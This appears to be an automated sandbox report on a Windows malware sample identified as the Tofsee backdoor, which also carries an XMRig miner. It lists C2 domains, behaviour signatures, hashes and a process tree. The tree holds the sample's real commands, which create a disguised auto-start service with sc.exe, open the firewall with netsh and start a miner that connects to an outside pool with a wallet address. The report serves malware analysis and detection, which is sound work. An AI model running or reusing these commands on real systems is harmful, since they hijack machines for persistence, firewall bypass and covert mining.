Analysis

  • max time kernel
    143s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/12/2022, 04:37

General

  • Target
    file.exe
  • Size 304KB
  • Sample221220-e8s79sgf98
  • SHA256 985af931a6bac3594c8c9ca7dc269c8afea84d83bf0ee8bd1527752a38f558bf
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\erlqqniw\
      2⤵
        PID:5080
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ybkvvrro.exe" C:\Windows\SysWOW64\erlqqniw\
        2⤵
          PID:1332
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create erlqqniw binPath= "C:\Windows\SysWOW64\erlqqniw\ybkvvrro.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1256
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description erlqqniw "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1592
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start erlqqniw
          2⤵
          • Launches sc.exe
          PID:4208
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:216
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3996 -s 1044
          2⤵
          • Program crash
          PID:2772
      • C:\Windows\SysWOW64\erlqqniw\ybkvvrro.exe
        C:\Windows\SysWOW64\erlqqniw\ybkvvrro.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:212
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3688
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:5012
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 212 -s 540
          2⤵
          • Program crash
          PID:4436
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3996 -ip 3996
        1⤵
          PID:4608
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 212 -ip 212
          1⤵
            PID:2136

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                ybkvvrro.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ybkvvrro.exe
                • Size 14.0MB
                • SHA256 e1fb536dc5a398c349f26e65eb74f1843d2ebbb06998a0c072c0ad5950cd54d8
                • MD5 SHA1 SHA512 SSDEEP

                ybkvvrro.exe

                • Path C:\Windows\SysWOW64\erlqqniw\ybkvvrro.exe
                • Size 14.0MB
                • SHA256 e1fb536dc5a398c349f26e65eb74f1843d2ebbb06998a0c072c0ad5950cd54d8
                • MD5 SHA1 SHA512 SSDEEP

                memory/212-151-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/212-150-0x0000000000685000-0x000000000069A000-memory.dmp

                memory/3688-166-0x0000000006F40000-0x000000000734B000-memory.dmp

                memory/3688-169-0x00000000025D0000-0x00000000025D7000-memory.dmp

                memory/3688-163-0x00000000017F0000-0x00000000017F5000-memory.dmp

                memory/3688-160-0x0000000001720000-0x0000000001730000-memory.dmp

                memory/3688-157-0x0000000001710000-0x0000000001716000-memory.dmp

                memory/3688-154-0x0000000002000000-0x000000000220F000-memory.dmp

                memory/3688-147-0x0000000000190000-0x00000000001A5000-memory.dmp

                memory/3688-153-0x0000000000190000-0x00000000001A5000-memory.dmp

                memory/3688-152-0x0000000000190000-0x00000000001A5000-memory.dmp

                memory/3996-133-0x0000000000600000-0x0000000000613000-memory.dmp

                memory/3996-134-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/3996-132-0x0000000000659000-0x000000000066F000-memory.dmp

                memory/3996-145-0x0000000000400000-0x0000000000452000-memory.dmp

                memory/3996-144-0x0000000000600000-0x0000000000613000-memory.dmp

                memory/3996-143-0x0000000000659000-0x000000000066F000-memory.dmp

                memory/5012-174-0x0000000000480000-0x0000000000571000-memory.dmp

                memory/5012-173-0x0000000000481000-0x0000000000552000-memory.dmp

                memory/5012-178-0x0000000000480000-0x0000000000571000-memory.dmp